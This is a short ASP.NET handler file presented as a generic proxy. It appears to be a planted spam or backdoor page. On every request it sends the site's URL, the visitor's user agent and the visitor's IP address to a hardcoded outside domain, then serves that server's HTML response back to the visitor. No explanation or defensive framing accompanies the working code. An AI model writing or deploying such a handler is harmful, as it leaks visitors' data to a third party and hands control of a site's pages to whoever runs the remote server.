<%@ WebHandler Language="C#" Class="ProxyHandler" %>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;

public class ProxyHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        string remoteServer = "http://g8b.lhlsxzb.com/";
        string clientIp = GetClientIp(context);
        string userAgent = (context.Request.UserAgent ?? "").Replace(" ", "");

        string host = context.Request.ServerVariables["HTTP_HOST"];
        string path = context.Request.RawUrl.Split('?')[0];
        string query = context.Request.ServerVariables["QUERY_STRING"];
        string fullLocalUrl = "http://" + host + path + "?" + query;

        string remoteUrl = remoteServer + "?&X&" + fullLocalUrl + "&X&" + userAgent + "&X&" + clientIp;

        string content = GetHttp(remoteUrl);
        context.Response.ContentType = "text/html";
        context.Response.Write(content);
    }

    public bool IsReusable { get { return false; } }

    private string GetClientIp(HttpContext context)
    {
        string ip = context.Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
        if (!string.IsNullOrEmpty(ip) && !ip.Equals("unknown", StringComparison.OrdinalIgnoreCase))
        {
            string[] arr = ip.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
            if (arr.Length > 0)
                return arr[0].Trim();
        }

        ip = context.Request.ServerVariables["HTTP_CLIENT_IP"];
        if (!string.IsNullOrEmpty(ip) && !ip.Equals("unknown", StringComparison.OrdinalIgnoreCase))
        {
            return ip.Trim();
        }

        return context.Request.ServerVariables["REMOTE_ADDR"] ?? "Unknown";
    }

    private string GetHttp(string url)
    {
        try
        {
            HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
            req.Method = "GET";
            req.ContentType = "application/x-www-form-urlencoded";
            req.UserAgent = "kkkkkkkk";
            req.Timeout = 10000;

            using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse())
            using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8))
            {
                return reader.ReadToEnd();
            }
        }
        catch
        {
            return "remote error";
        }
    }
}